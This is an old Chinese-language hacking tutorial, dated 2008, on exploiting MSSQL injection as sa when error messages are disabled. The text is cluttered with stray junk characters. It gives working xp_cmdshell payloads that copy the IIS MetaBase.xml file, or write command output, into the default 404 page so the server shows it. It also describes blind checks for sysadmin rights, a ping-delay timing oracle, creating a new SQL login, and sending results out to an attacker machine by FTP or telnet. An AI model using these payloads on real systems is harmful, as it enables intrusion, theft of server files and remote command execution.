遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。/ f3 h" b- J2 ~$ A/ ?' y+ n' E
1 S A# Z# p+ M6 ?/ c5 p2 F 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。4 |& f/ B2 ]; S+ Y ^
6 r" }: H. [6 y0 a3 ] 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。" k' ^6 c4 m$ s* R
) Z1 b1 a9 E5 r4 Q. X
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
7 v5 q v5 A& n. A7 R, i' i
0 ], H7 l0 t: V4 K 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--4 t$ e# I; _2 _4 K4 \( V9 o# l
+ _- p& _ z* J ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
4 u9 k. ~& \ Z" ]: s
- F& ]5 d2 i7 x& Q4 h( k( {2 G' J 执行命令得到回显3 z0 |; @: ^. W _9 c
' p) E2 C3 ^4 p. F+ o& f$ a 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
2 M( b( ]/ j P" P* q2 I1 e8 l8 M) b7 G
得到文件也shi相同,把文件copy到404b.htm就行了
, r0 W; H, S9 a3 d2 f5 A. |! _( t5 b3 R0 v0 t
by 28ice, 2008/6/26/ B# h3 |4 G8 ~$ J8 Q! b9 m
# f8 g( T+ {. ~/ \) Q* s8 R+ y
摘自 28度的冰: Z9 w: [ ` i6 X/ v
6 N# Z" C4 [7 v1 w+ Z* \% N
盲注判断权限和操作系统版本! E" t3 X% Z# `& i3 k4 c) j
: T, c! r1 Y0 V7 q+ M1 ]
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
: ~9 j! o. u+ \
" _, |- W& |; M 最简单的,可能以用这样的方法:7 m% K( u5 E v
$ p. y K Y- T. w3 T9 N 1=(select IS_SRVROLEMEMBER(’sysadmin’))
1 W$ @! s8 m$ v/ K1 z( K( R f, } K# I3 d* E
当然,有些情况下,这个方法并不奏效。
$ }# N W! q7 j1 \2 b: r9 U* S! K3 D6 X# y/ K
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
8 ^9 I0 ]$ M( D6 i$ T7 B/ B ?8 A# z% [' e! P
有个3办法可能以解决这个问题( q' ~. O$ I3 u0 H+ ]0 w, N& q! S! y
: g8 w' A" \+ l+ }0 z6 D* P
a.把执行结果写到404b.htm,具体请看我的上一篇文章1 w( ~, \2 b- Y/ F
^" ~# Y/ O' B* Q! t
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟, `0 m" `4 G/ P1 z& M
! Q" |* ~5 u/ Z1 | c.如果1433端口可能以连接,那干脆新建个sql登录. C0 [! ?9 K* C$ [, f- k
$ y3 @- [* J1 P+ Q
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数6 b& v4 U3 X# p, h+ G1 y
5 a* I3 X; i8 z' h& ]
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下* s6 W) F) W% [3 U. g) T# B
H5 S8 {& u) V. @
很简单7 N! `, }6 J7 I6 x
+ n0 \) O3 u; [3 L# G 执行systeminfo" @# o, u+ J4 M0 ~( ^: J* {+ p M3 k
9 E U. h8 O* g, i+ d3 ~ 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |